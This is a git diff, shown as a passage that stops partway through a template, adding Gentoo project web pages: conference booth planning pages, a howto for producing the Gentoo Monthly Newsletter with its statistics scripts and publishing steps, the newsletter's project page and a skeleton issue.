diff --git a/xml/htdocs/proj/en/pr/events/lwe2006-germany/placeholder.txt b/xml/htdocs/proj/en/pr/events/lwe2006-germany/placeholder.txt
new file mode 100644
index 00000000..a93df416
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/events/lwe2006-germany/placeholder.txt
@@ -0,0 +1 @@
+# This is a place holder... ph34r...
diff --git a/xml/htdocs/proj/en/pr/events/lwe2006-sanfran/index.xml b/xml/htdocs/proj/en/pr/events/lwe2006-sanfran/index.xml
new file mode 100644
index 00000000..d07daa37
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/events/lwe2006-sanfran/index.xml
@@ -0,0 +1,137 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/pr/events/lwe2006-sanfran/index.xml,v 1.3 2007/07/13 20:58:36 neysx Exp $ -->
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+
+<project>
+<name>lwe2006-sanfran</name>
+<longname>Linux World Conference and Expo 2006 - San Francisco</longname>
+<date>14 Aug 2006</date>
+
+<author title="Author">
+<mail link="wolf31o2@gentoo.org">Chris Gianelloni</mail>
+</author>
+
+<description>
+This subproject is a place to hold information regarding the Gentoo booth at
+the 2006 Linux World Conference and Expo in San Francisco.
+</description>
+  
+<longdescription><p>
+The 2006 Linux World Conference and Expo in San Francisco is one of the largest
+Linux events in the United States. It will be held on August 14th through the
+17th at the Moscone Center in downtown San Francisco.</p>
+<ul>
+<li>official website :
+<uri>http://www.linuxworldexpo.com/live/12/events/12SFO06A</uri></li>
+</ul>
+</longdescription>
+  
+<goals>
+<ul>
+<li>Provide a good overview of Gentoo's products</li>
+<li>Foster relations with possible new partners</li>
+<li>Speak with current partners to maintain relations</li>
+</ul>
+</goals>
+  
+<extrachapter>
+<title>Preparing the event</title>
+
+<section>
+<title>People</title>
+<body>
+
+<p>This is the list of people related to this event:</p>
+
+<table>
+<tr>
+<th>Name</th>
+<th>Title</th>
+<th>Date of arrival</th>
+<th>Date of departure</th>
+<th>Travel information</th>
+<th>Email</th>
+</tr>
+<tr>
+<ti>Daniel Ostrow</ti>
+<ti>Gentoo Trustee</ti>
+<ti>n/a</ti>
+<ti>n/a</ti>
+<ti>n/a</ti>
+<ti>dostrow@gentoo.org</ti>
+</tr>
+<tr>
+<ti>Mike Frysinger</ti>
+<ti>Gentoo Council</ti>
+<ti>??</ti>
+<ti>??</ti>
+<ti>??</ti>
+<ti>vapier@gentoo.org</ti>
+</tr>
+<tr>
+<ti>Chris Gianelloni</ti>
+<ti>Release Engieering</ti>
+<ti>August 12th</ti>
+<ti>August 19th</ti>
+<ti>Flight 301, US Airways - 9:59AM</ti>
+<ti>wolf31o2@gentoo.org</ti>
+</tr>
+<tr>
+<ti>Josh Nichols</ti>
+<ti>Gentoo/Java</ti>
+<ti>??</ti>
+<ti>??</ti>
+<ti>??</ti>
+<ti>nichoj@gentoo.org</ti>
+</tr>
+</table>
+
+</body>
+</section>
+
+<section>
+<title>Things needed</title>
+<body>
+
+<p>This is the list of stuff we hope to have at the event:</p>
+<table>
+<tr>
+<th>Name</th>
+<th>Available</th>
+<th>Assigned to</th>
+<th>Description</th>
+</tr>
+<tr>
+<ti>CD-R media</ti>
+<ti>yes</ti>
+<ti>wolf31o2</ti>
+<ti>CD-R media to burn CDs on-demand on the booth</ti>
+</tr>
+<tr>
+<ti>2006.1 Release</ti>
+<ti>yes</ti>
+<ti>wolf31o2</ti>
+<ti>ISO images from 2006.1 for on-demand burning</ti>
+</tr>
+<tr>
+<ti>Gentoo Poster</ti>
+<ti>no</ti>
+<ti>dostrow</ti>
+<ti>Laminated Gentoo poster</ti>
+</tr>
+<tr>
+<ti>Projector/Screen</ti>
+<ti>no</ti>
+<ti>dostrow</ti>
+<ti>Projector allows us to demo Gentoo for a wider audience</ti>
+</tr>
+</table>
+
+</body>
+</section>
+
+</extrachapter>
+
+</project>
diff --git a/xml/htdocs/proj/en/pr/events/lwe2006-sanfran/placeholder.txt b/xml/htdocs/proj/en/pr/events/lwe2006-sanfran/placeholder.txt
new file mode 100644
index 00000000..a93df416
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/events/lwe2006-sanfran/placeholder.txt
@@ -0,0 +1 @@
+# This is a place holder... ph34r...
diff --git a/xml/htdocs/proj/en/pr/events/ols2006-ottawa/placeholder.txt b/xml/htdocs/proj/en/pr/events/ols2006-ottawa/placeholder.txt
new file mode 100644
index 00000000..a93df416
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/events/ols2006-ottawa/placeholder.txt
@@ -0,0 +1 @@
+# This is a place holder... ph34r...
diff --git a/xml/htdocs/proj/en/pr/events/oscon2006-portland/placeholder.txt b/xml/htdocs/proj/en/pr/events/oscon2006-portland/placeholder.txt
new file mode 100644
index 00000000..a93df416
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/events/oscon2006-portland/placeholder.txt
@@ -0,0 +1 @@
+# This is a place holder... ph34r...
diff --git a/xml/htdocs/proj/en/pr/events/scale2006-losangeles/placeholder.txt b/xml/htdocs/proj/en/pr/events/scale2006-losangeles/placeholder.txt
new file mode 100644
index 00000000..a93df416
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/events/scale2006-losangeles/placeholder.txt
@@ -0,0 +1 @@
+# This is a place holder... ph34r...
diff --git a/xml/htdocs/proj/en/pr/events/scale2008-losangeles/index.xml b/xml/htdocs/proj/en/pr/events/scale2008-losangeles/index.xml
new file mode 100644
index 00000000..39645f32
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/events/scale2008-losangeles/index.xml
@@ -0,0 +1,26 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+
+<project>
+<name>scale2008-losangeles</name>
+<longname>Southern California Linux Expo 2008</longname>
+<date>26 Dec 2007</date>
+<author title="Author">
+  <mail link="omp@gentoo.org">David Shakaryan</mail>
+</author>
+
+<description>
+Annual open source and free software conferenece held in Los Angeles.
+</description>
+
+<longdescription><p>
+The Southern California Linux Expo is once again in Los Angeles for SCALE 6x. However, this time around, the expo will offer more booth space and an increased number of tutorial sessions. SCALE features an exhibit floor for vendors and attendees to meet and interact. However, the expo also invites many prominent members of the open source community to speak at the event. All of this helps make the community-run event an excellent place to learn more about open source projects.
+</p></longdescription>
+
+<dev role="Lead">omp</dev>
+<dev role="Member">beandog</dev>
+<dev role="Member">nerdboy</dev>
+<dev role="Member">nightmorph</dev>
+</project>
diff --git a/xml/htdocs/proj/en/pr/gmn/gmn-howto.xml b/xml/htdocs/proj/en/pr/gmn/gmn-howto.xml
new file mode 100644
index 00000000..fb598c01
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/gmn/gmn-howto.xml
@@ -0,0 +1,522 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/pr/gmn/gmn-howto.xml,v 1.4 2008/12/01 06:58:30 nightmorph Exp $ -->
+
+<guide>
+<title>Gentoo Monthly Newsletter Howto</title>
+
+<author title="Author">
+  <mail link="nightmorph"/>
+</author>
+
+<abstract>
+This guide details the process for creating the Gentoo Monthly Newsletter.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>3</version>
+<date>2008-11-30</date>
+
+<chapter>
+<title>Overview</title>
+<section>
+<body>
+
+<p>
+So, you want to be a GMN editor, eh? This guide will show you how to write a
+Gentoo Monthly Newsletter from start to finish. It's more or less structured
+like the newsletter itself.
+</p>
+
+<p>
+It's very important to familiarize yourself with <uri
+link="/doc/en/xml-guide.xml">GuideXML</uri>, the language the GMN's written in.
+Pay careful attention to coding style; you want the code to be nice and easy to
+read, both for yourself, and for your teammates. So take the time to read <uri
+link="/news/en/gmn/">past issues</uri>, and especially view the source code! You
+can view the source online by appending <path>?passthru=1</path> to the
+<path>.xml</path> URL of any newsletter. Or just open up a copy from your local
+CVS checkout in your editor of choice.
+</p>
+
+</body>
+</section>
+<section>
+<title>Files</title>
+<body>
+
+<p>
+Putting together a newsletter requires several scripts and files. These can be
+found in our <uri
+link="http://sources.gentoo.org/viewcvs.py/gentoo/src/gwn/">code
+repository</uri>. Be sure to save the following files to your GMN working
+directory:
+</p>
+
+<ul>
+  <li><c>gmn_bugzie.py</c></li>
+  <li><c>gmn_bugzie_aggregate.py</c></li>
+  <li><c>get_packages_url.py</c></li>
+  <li><c>print-dev-stats.py</c></li>
+  <li><c>gmn2text.xsl</c></li>
+  <li><c>pygooglechart.py</c></li>
+  <li><c>gwn_adds_removes.py</c></li>
+</ul>
+
+<p>
+There's also a <uri link="skel-newsletter.xml">skeleton newsletter</uri>
+available. This template will let you get a quick start on each monthly
+newsletter. Adjust the dates, times, locations, links, and numbers for each new
+edition. It's pretty straightforward.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Articles</title>
+<section>
+<body>
+
+<p>
+Feature articles are arguably the heart of the newsletter. However, articles
+don't usually just fall from the sky: you may have to actively scour the
+internet looking for articles, news releases, blogs, etc. pertaining to Gentoo.
+However, rather than do all this work yourself, you can make better use of your
+time by actively soliciting help from the user community and your fellow
+developers. Get <e>them</e> to send in articles and links of interest. The more
+they write up ahead of time, the better, as you'll need to do less editing. When
+someone sends interesting material your way, be sure to give them an author or
+contributor credit in the GMN. Participation should be fun <e>and</e> rewarding.
+</p>
+
+</body>
+</section>
+<section>
+<title>Gentoo news</title>
+<body>
+
+<p>
+Lead off the GMN (after the usual introduction) with general distribution news.
+The GMN is the first place people look for things like Gentoo release
+announcements, <uri link="/proj/en/council">Council</uri> and <uri
+link="/foundation/en/">Trustees</uri> meetings, and other important news.
+Oftentimes critical systemwide changes or security notes may be found here, such
+as the mask &amp; removal of PHP4, stabilization of the latest Portage version,
+baselayout changes, and similar. Or mention projects that Gentoo is
+participating in, such as Google Summer of Code; see the <uri
+link="/news/en/gmn/20080424-newsletter.xml">April 2008</uri> newsletter for a
+nice example.
+</p>
+
+<p>
+The Council and Trustees post meeting summaries, minutes, and agenda both to the
+mailing lists and to their individual project pages. Use the summaries (with
+links to the full documents) here; this way you don't waste time duplicating
+their efforts. Occasionally there will be an important project meeting for
+security, desktop, Portage, etc.  Make sure to include such meeting notes.
+Pester the project secretaries/leads for minutes and summaries if you have to.
+Remember, you don't have much time to play investigative journalist. Try to get
+the other projects to cooperate with you. Publicity should good for them, after
+all.
+</p>
+
+<p>
+Next: the mini-calendar with the next month or three's events. Upcoming events
+might include monthly <uri link="/proj/en/bugday/">bugdays</uri>, Gentoo IRC
+meetings, and Linux/FOSS trade shows.
+</p>
+
+</body>
+</section>
+<section>
+<title>Gentoo international</title>
+<body>
+
+<p>
+The Gentoo International chapter reports the
+happenings at events around the world in which Gentoo and its developers have a
+presence. Pictures are always good!
+</p>
+
+<p>
+In the past, the GMN has extensively covered events such as FOSDEM, SCALE,
+FliSol, LinuxTag, and various development summits in which Gentoo has a
+presence.
+</p>
+
+<p>
+There won't always be a Gentoo International chapter to include, as events
+happen just a few times a year. But when they do, make sure to cover them! Talk
+to the developers and teams who went; check their blogs, etc.
+</p>
+
+</body>
+</section>
+<section>
+<title>Community news</title>
+<body>
+
+<p>
+The community news chapter can consist of:
+</p>
+
+<ul>
+  <li>
+    Interviews with individuals, companies, and other folks who use Gentoo for
+    work, play, school, etc. This is one of the best ways to highlighting the
+    things Gentoo is capable of, and how it's being used. Google Summer of Code
+    interviews are another favorite for this chapter.
+  </li>
+  <li>
+    Articles focusing on a particular bit of community-produced Gentoo-related
+    software, like <uri link="http://www.haskell.org/himerge/">Himerge</uri>.
+    Interest pieces on things that affect the community of developers and users
+    alike, such as <uri link="http://overlays.gentoo.org">Sunrise</uri> or
+    Bugzilla, may be found here.  However, the GMN doesn't really cover things
+    like individual non-Gentoo-specific applications, or applications that are
+    not in the tree. "Community news" shouldn't be a general advertising space.
+  </li>
+  <li>
+    <uri link="http://planet.gentoo.org">Planet Gentoo</uri>, an aggregator of
+    Gentoo developer blogs. Pick the best of the Gentoo-related posts from the
+    past month and include one or two sentence summaries.
+  </li>
+  <li>
+    "Gentoo in the News" is a good place to share sightings of Gentoo. Reviews,
+    enterprise Gentoo usage, magazine appearances, new distributions based on
+    Gentoo, and other Gentoo links &amp; references go here. The more the
+    merrier, even if they're just short tidbits.
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Tips and tricks</title>
+<body>
+
+<p>
+This chapter contains useful information for administering your system, keeping
+things up-to-date, tweaking applications, monitoring boxes, and so on. If you're
+lucky, you can get users and other developers to email some collected tips or
+"best practices" each month. You may want to cull the forums for useful
+material.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Statistics collection</title>
+<section>
+<body>
+
+<p>
+The first half of the newsletter features articles, and those vary quite a bit
+month-to-month. The second half contains general statistics on Bugzilla,
+the Portage tree, developer changes, and so on. It's very formulaic,
+straightforward, but also can be the most time consuming part of the newsletter
+to write. This is where you'll use all the scripts we have to round out the GMN.
+</p>
+
+<p>
+The statistical chapters are assembled as follows:
+</p>
+
+</body>
+</section>
+<section>
+<title>Bugzilla statistics</title>
+<body>
+
+<p>
+To generate the nice table of <uri link="http://bugs.gentoo.org">Bugzilla</uri>
+statistics (new bugs, closed bugs, distribution, etc.), do the following:
+</p>
+
+<pre caption="Generating Bugzilla statistics">
+$ <i>touch breport</i>
+$ <i>python gmn_bugzie.py > breport</i>
+$ <i>python gmn_bugzie_aggregate.py > gmn-bugzilla.txt</i> <comment>(For safekeeping)</comment>
+</pre>
+
+<p>
+The first script, <c>gmn_bugzie.py</c>, generates a statistics file called
+<path>breport</path> after querying Bugzilla.
+</p>
+
+<p>
+The second script, <c>gmn_bugzie_aggregate.py</c>, creates and fills in the
+statistics table that you copy into the GMN. It also generates three graphs:
+<path>activity.png</path>, <path>opened.png</path>, and <path>closed.png</path>.
+These three files come courtesy <uri
+link="http://code.google.com/apis/chart/">Google Chart</uri> (via
+<c>pygooglechart.py</c>). Save the graphs to your working directory; you'll be
+adding them to CVS later on.
+</p>
+
+<p>
+Once you've got your statistics output saved to <path>gmn-bugzilla.txt</path>
+(or whatever you named it), you can paste it into the appropriate GMN section.
+Make sure to properly link in the generated graphs. Take a look at the code for
+the <uri link="/news/en/gmn">past issues</uri> to see how it goes.
+</p>
+
+</body>
+</section>
+<section>
+<title>Portage statistics</title>
+<body>
+
+<p>
+To create the Portage statistics (number of packages by keyword, distribution,
+etc.), you'll need an unmodified Portage installation. This means you shouldn't
+be using PORTDIR_OVERLAY or anything else that affects the number of categories
+and packages reported. Also, you'll have to use the downloaded metadata cache
+obtained from syncing, so you can't set various fun things like
+<c>portdbapi.auxdbmodule = cache.metadata_overlay.database</c> in
+<path>/etc/portage/modules</path>.
+</p>
+
+<p>
+First, you'll need to <c>emerge portage-utils</c>, and run one of its utilities
+as shown.
+</p>
+
+<pre caption="Obtaining Portage statistics">
+$ <i>qcache -s</i>
+</pre>
+
+<p>
+Save the output to a file, as you'll need it in just a bit. Before you can
+create the Portage statistics graph, you'll need to manually edit
+<c>get_packages_url.py</c>. Fill in the values in the arrays declared on the
+first two lines to correspond with the values generated by <c>qcache -s</c>.
+Yes, it's a pain to manually edit the script every time you want to use it, but
+it'll do for now. (If you have a better way, be sure to email us!)
+</p>
+
+<p>
+Once you've edited the script, run it:
+</p>
+
+<pre caption="Creating the Portage graph">
+$ <i>python get_packages_url.py</i>
+</pre>
+
+<p>
+This script creates the URL to a Google chart. Download the chart and save it to
+your working directory as <path>keywords.png</path>. You'll be committing this file
+with the rest of the charts soon. Again, make sure to add the proper link to
+this file within the GMN.
+</p>
+
+<p>
+The package adds/removes are generated by saving the logs emailed by
+infrastructure, and running <c>gwn_adds_removes.py</c> on them:
+</p>
+
+<pre caption="Generating package adds/removes">
+$ <i>python gwn_adds_removes.py add-removals.1220227200.log > foo.txt</i>
+</pre>
+
+<p>
+In this example, the output of the command is saved to a file, rather than
+printed straight to the terminal. <c>gwn_adds_removes.py</c> will create the
+GuideXML; all you have to do is paste it into the newsletter.
+</p>
+
+</body>
+</section>
+<section>
+<title>Developer statistics</title>
+<body>
+
+<p>
+You can get the developer statistics (total recruited, away, etc.) by first
+downloading the devaway XML file, and then by hand-editing the
+<c>print-dev-stats.py</c> script to point at your own CVS checkout directory.
+</p>
+
+<pre caption="Obtaining developer statistics">
+$ <i>wget http://www.gentoo.org/dyn/devaway/devaway.xml?passthru=1 -O devaway.xml</i>
+$ <i>python print-dev-stats.py</i>
+</pre>
+
+<p>
+Once you've done this, paste the numbers into the developers summary section
+(number recruited, active, and away).
+</p>
+
+<p>
+For developer changes (joining/leaving projects or teams), run a diff of the
+changes to <path>herds.xml</path> since the last issue. This information is
+available <uri
+link="http://sources.gentoo.org/viewcvs.py/gentoo/xml/htdocs/proj/en/metastructure/herds/herds.xml">in
+CVS</uri>.
+</p>
+
+<p>
+You should also keep a close eye on new developer emails sent to the
+gentoo-dev-announce and/or gentoo-dev mailing lists. You should receive
+automated retirement notices generated by Infra sent directly to the GMN email
+alias.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Finishing up</title>
+<section>
+<body>
+
+<p>
+As a courtesy to your fellow Gentoo developers, solicit feedback on the latest
+issue by writing to the gentoo-core mailing list at least one day in advance of
+publication. Be sure to provide them with a working URL to the issue; your
+devspace on dev.gentoo.org is good enough, as dev.gentoo.org automatically
+renders GuideXML into HTML.
+</p>
+
+</body>
+</section>
+<section>
+<title>Final touches</title>
+<body>
+
+<p>
+Once you've applied the final fixes from gentoo-core, you'll need to add a few
+more bits to the issue <e>immediately</e> before committing. Time is important
+here, as the webnodes take awhile to update.
+</p>
+
+<p>
+First, make sure the dates inside the GMN issue are set to the correct date of
+publication. You'll also need to adjust the submission deadline date for the
+next issue; this information is found at the very end of the newsletter. You
+should also verify that the volume and issue numbers are correct; these are
+scattered through the first part of the GMN.
+</p>
+
+<p>
+Next, post an announcement topic to the <uri
+link="http://forums.gentoo.org">Gentoo Forums</uri>. Let the users know a new
+issue has been published; be sure to include a link (even though the newsletter
+isn't there <e>yet</e>. This forum thread is a convenient way for users to
+discuss the issue and provide feedback. Refer to the announcements for the <uri
+link="http://forums.gentoo.org/viewtopic-t-706123.html">August 2008</uri> and
+<uri link="http://forums.gentoo.org/viewtopic-t-701922.html">July 2008</uri>
+issues to see how it's done.
+</p>
+
+<p>
+<e>As soon as you post the announcement</e>, add the link to the discussion
+thread to the issue. The forum link appears at the very beginning and very end
+of the issue, so make sure you fix both places.
+</p>
+
+<p>
+Next, run <c>gmn2txt.xsl</c>. This script will create a plain-text version of
+the newsletter suitable for emailing to the GMN subscribers. See the usage notes
+inside the script itself if you need help.
+</p>
+
+</body>
+</section>
+<section>
+<title>Committing</title>
+<body>
+
+<p>
+Now go into your CVS checkout. You'll be committing several things all at once,
+so stay sharp. <b>First</b>, update the GMN index page at
+<path>gentoo/xml/htdocs/news/en/gmn/</path> with a link to the latest issue.
+</p>
+
+<p>
+<b>Second</b>, write up the front page announcement for www.gentoo.org and add
+it to <path>gentoo/xml/htdocs/news/</path>. See the <uri
+link="/news/20080831-gmn.xml">August 2008 news item</uri> for how it's done. Add
+it to CVS (<c>cvs add</c>).
+</p>
+
+<p>
+<b>Third</b>, <c>cvs add</c> the completed issue itself to
+<path>gentoo/xml/htdocs/news/en/gmn/</path>, and the images (including all those
+graphs you generated) to <path>gentoo/xml/images/&lt;issue-date&gt;/</path>.
+</p>
+
+<p>
+<b>Finally</b>, <c>cvs commit</c> the whole thing in one go. Back up to
+<path>gentoo/xml/</path> and make an atomic commit from this top-level
+directory. This ensures that the front-page announcement, issue + accompanying
+images, and the GMN index all get updated at the same time. Hopefully not too
+much time has passed between creating the forum announcement and actually
+releasing the GMN.
+</p>
+
+<p>
+Now that the online edition of the GMN is published, you can send out the
+plain-text email version. Log in to dev.gentoo.org and upload the text version
+of the GMN so you can email it. Once logged in, run:
+</p>
+
+<pre caption="Sending out the email newsletter">
+$ <i>mutt -s "Gentoo Monthly Newsletter: XX XXXX 200X" -i 200XXXXX-newsletter.txt gentoo-gmn@gentoo.org</i>
+<comment>(For example: "31 August 2008" and "20080831-newsletter.txt")</comment>
+</pre>
+
+<p>
+Confirm the address, subject, and content. (If your default editor is vim,
+you'll need to type <c>:wq</c> to confirm.) Once in the mutt message screen,
+press <c>Ctrl-T</c> to change the charset of the content to <c>utf-8</c>. This
+is important, because by default the charset is <c>unknown-8bit</c>. Press
+<c>y</c> to send the newsletter once you've confirmed the charset change. A
+moderator of the list will confirm and the message will be sent.
+</p>
+
+<p>
+There . . . the front page and forum announcements are in place, the newsletter
+is online, the email edition is sent . . . now you can take a break! At least
+until the emails for the next issue arrive. And it all starts over again . . .
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Resources</title>
+<section>
+<body>
+
+<ul>
+  <li>
+    <uri link="skel-newsletter.xml">GMN skeleton newsletter</uri>: use this
+    template for each monthly issue. You'll find that pretty much all possible
+    sections have been added; if you don't have a certain section, just delete
+    it. Be sure to fill in appropriate dates, issue numbers, and links where
+    marked.
+  </li>
+  <li><uri link="/proj/en/pr/gmn/">GMN project page</uri></li>
+  <li><uri link="/news/en/gmn">Index of GMN issues</uri></li>
+  <li><uri link="/doc/en/xml-guide.xml">GuideXML Guide</uri></li>
+  <li>
+    <uri link="http://forums.gentoo.org">Gentoo Forums</uri>: the Gentoo Chat
+    subforum contains discussion and feedback threads for the GMN; you may want
+    to search the archives.
+  </li>
+</ul>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/pr/gmn/index.xml b/xml/htdocs/proj/en/pr/gmn/index.xml
new file mode 100644
index 00000000..b417f61d
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/gmn/index.xml
@@ -0,0 +1,55 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/pr/gmn/index.xml,v 1.8 2010/07/20 07:43:08 nightmorph Exp $ -->
+
+<project>
+<name>gmn</name>
+<longname>Gentoo Monthly Newsletter</longname>
+<date>2010-07-20</date>
+
+<author title="Author">
+  <mail link="anant"/>
+</author>
+
+<description>
+The Gentoo Monthly Newsletter informs all interested parties about the latest
+proceedings in the Gentoo community via a monthly publication.
+</description>
+
+<longdescription>
+
+<p>
+The Gentoo Monthly Newsletter is intended to give anyone interested in Gentoo a
+single source of information about the latest happenings in the Gentoo world.
+The GMN summarizes the key events in the Gentoo Linux project every month and
+presents them in a concise format. The GMN is a direct successor to the GWN
+project.
+</p>
+
+<p>
+More information on the GMN will be put up as the project unfolds. For more
+information or feedback on the GMN, please send an email to <mail
+link="gmn-feedback@gentoo.org">gmn-feedback@gentoo.org</mail>.
+</p>
+
+<note>
+The GMN Project is inactive at the moment. We need additional article
+contributors, writers familiar with <uri
+link="/doc/en/xml-guide.xml">GuideXML</uri>, and coders to develop automated
+tools and enhance our existing scripts to improve our workflow. If you have
+the time and ability to contribute steadily, please contact the project lead.
+</note>
+
+</longdescription>
+
+<!-- Developers -->
+<dev role="lead" description="Project Lead">nightmorph</dev>
+
+<!-- Project Specific Pages/Documentation -->
+<resource link="gmn-howto.xml">Gentoo Monthly Newsletter Howto</resource>
+<resource link="skel-newsletter.xml">Newsletter skeleton/template</resource>
+<resource link="/news/en/gmn/">Archived monthly newsletters</resource>
+
+</project>
diff --git a/xml/htdocs/proj/en/pr/gmn/skel-newsletter.xml b/xml/htdocs/proj/en/pr/gmn/skel-newsletter.xml
new file mode 100644
index 00000000..3197d6c1
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/gmn/skel-newsletter.xml
@@ -0,0 +1,584 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<guide type="newsletter" lang="en">
+<title>Gentoo Monthly Newsletter</title>
+<subtitle>XX Month 200X</subtitle>
+
+<!-- Be sure to add yourself if you write an article -->
+<author title="Editor">
+  <mail link="anant"/>
+</author>
+<author title="Editor">
+  <mail link="nightmorph"/>
+</author>
+
+<abstract>
+This is the XXXXth issue of the Gentoo Monthly Newsletter, for Month 200X &ndash;
+Month 200X.
+</abstract>
+
+<summary/>
+
+<version>Volume X, Issue X</version>
+<date>200X-XX-XX</date>
+
+<!-- GMN Intro -->
+<chapter>
+<title>Introduction</title>
+
+<section>
+<title>This month in the GMN</title>
+<body>
+
+<p>
+Welcome to the Month issue of the Gentoo monthly newsletter!
+</p>
+
+<p>
+As usual, you can discuss any aspect of this issue of the GMN in the
+corresponding <uri link="http://forums.gentoo.org/viewtopic-p-5200246.html">
+forum thread</uri>. We look forward to hearing from you!
+</p>
+<!-- The forum link is also at the end of the newsletter -->
+
+</body>
+</section>
+</chapter>
+
+<!-- Note: there won't always be a news item for each section. That's okay. Skip
+it and move on to the news that you do have. -->
+
+<!-- Gentoo News -->
+<chapter>
+<title>Gentoo News</title>
+
+<!-- Trustees Summary -->
+<section>
+<title>Trustees Meeting Summary</title>
+<body>
+
+<p>
+The <uri link="/foundation/en/">Gentoo Trustees</uri> held
+its monthly meeting on Month XX, 200X. The items put up for discussion were:
+</p>
+
+<ul>
+  <li><b>Topic</b>: stuff</li>
+</ul>
+
+</body>
+</section>
+
+<!-- Council Summary -->
+<section>
+<title>Council Meeting Summary</title>
+<body>
+
+<p>
+The <uri link="/proj/en/council/">Gentoo Council</uri> held its monthly meeting
+on Month XX, 200X. The items put up for discussion were:
+</p>
+
+<ul>
+  <li><b>Topic</b>: stuff.</li>
+</ul>
+
+</body>
+</section>
+
+<!--- Coming up -->
+<section>
+<title>Coming Up</title>
+<body>
+
+<ul>
+  <li>
+    <b><uri link="/proj/en/bugday/index.xml">Bugday</uri></b>: Looking for a way
+    to help out Gentoo without investing a lot of time? Join us on <b>Month
+    XX</b> for our monthly bugday, and help us squash <uri
+    link="http://bugday.gentoo.org/">some bugs</uri>.
+  </li>
+  <li>
+    <b><uri link="/proj/en/council/">Council Meeting</uri></b>: The Gentoo
+    Council meets twice every month to discuss important technical issues that
+    affect Gentoo as a whole. The next meeting is scheduled to be held on
+    <b>Month XX</b>, and everyone is welcome to participate - <e>#gentoo-council
+    on irc.freenode.net at 2000UTC</e>.
+  </li>
+  <li>
+    <b><uri link="/foundation/en/">Trustees Meeting</uri></b>: Scheduled for
+    <b>Month XX</b>.
+  </li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+<!-- Gentoo International chapter, optional, for events -->
+
+<!-- Heard in the Community -->
+<chapter>
+<title>Heard in the Community</title>
+<section>
+<body>
+
+<p>
+Stuff
+</p>
+
+</body>
+</section>
+
+<!-- Planet Gentoo -->
+<section>
+<title>Planet Gentoo</title>
+<body>
+
+<p>
+<b>Journal subject</b>: <mail link="developer"/> <uri link="journal
+link">something</uri> foo bar baz.
+</p>
+
+</body>
+</section>
+
+<!-- Gentoo in the News -->
+<section>
+<title>Gentoo in the News</title>
+<body>
+
+<p>
+Stuff
+</p>
+
+</body>
+</section>
+</chapter>
+
+<!-- Tips and Tricks -->
+<chapter>
+<title>Tips and Tricks</title>
+
+<section>
+<title>Tip</title>
+<body>
+
+<p>
+Stuff
+</p>
+
+</body>
+</section>
+</chapter>
+
+<!-- Gentoo developer moves -->
+<chapter>
+<title>Gentoo developer moves</title>
+
+<section>   
+<title>Summary</title>
+<body>
+
+<p>
+Gentoo is made up of XXX active developers, of which XX are currently away.
+Gentoo has recruited a total of XXX developers since its inception.
+</p>
+
+</body>
+</section>
+<section>
+<title>Moves</title>
+<body>
+
+<p>
+The following developers recently left the Gentoo project:
+</p>
+
+<ul>
+  <li><mail link="developer"/></li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Adds</title>
+<body>
+
+<p>
+The following developers recently joined the Gentoo project:
+</p>
+
+<ul>
+  <li><mail link="developer"/> joined the Foobar team</li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Changes</title>
+<body>
+
+<p>
+The following developers recently changed roles within the Gentoo project:
+</p>
+
+<ul>
+  <li><mail link="developer"/> joined the Foobar team</li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+<!-- Portage summaries -->
+<chapter>
+<title>Portage</title>
+
+<section>
+<title>Summary</title>
+<body>
+<p>
+This section summarizes the current state of the Portage tree.
+</p>
+
+<table>
+<tr>
+ <th colspan="2">General Statistics</th>
+</tr>
+<tr>
+ <th>Architectures</th>
+ <ti>XX</ti>
+</tr>
+<tr>
+ <th>Categories</th>
+ <ti>XXX</ti>
+</tr>
+<tr>
+ <th>Packages</th>
+ <ti>XXXXX</ti>
+</tr>
+<tr>
+ <th>ebuilds</th>
+ <ti>XXXXX</ti>
+</tr>
+</table>
+
+<table>
+<tr>
+ <th colspan="5">Keyword Distribution</th>
+</tr>
+<tr>
+ <th>Architecture</th>
+ <th>Stable</th>
+ <th>Testing</th>
+ <th>Total</th>
+ <th>% Packages</th>
+</tr>
+<tr>
+ <th>alpha</th>
+ <ti>XXXX</ti>
+ <ti>XXX</ti>
+ <ti>XXX</ti>
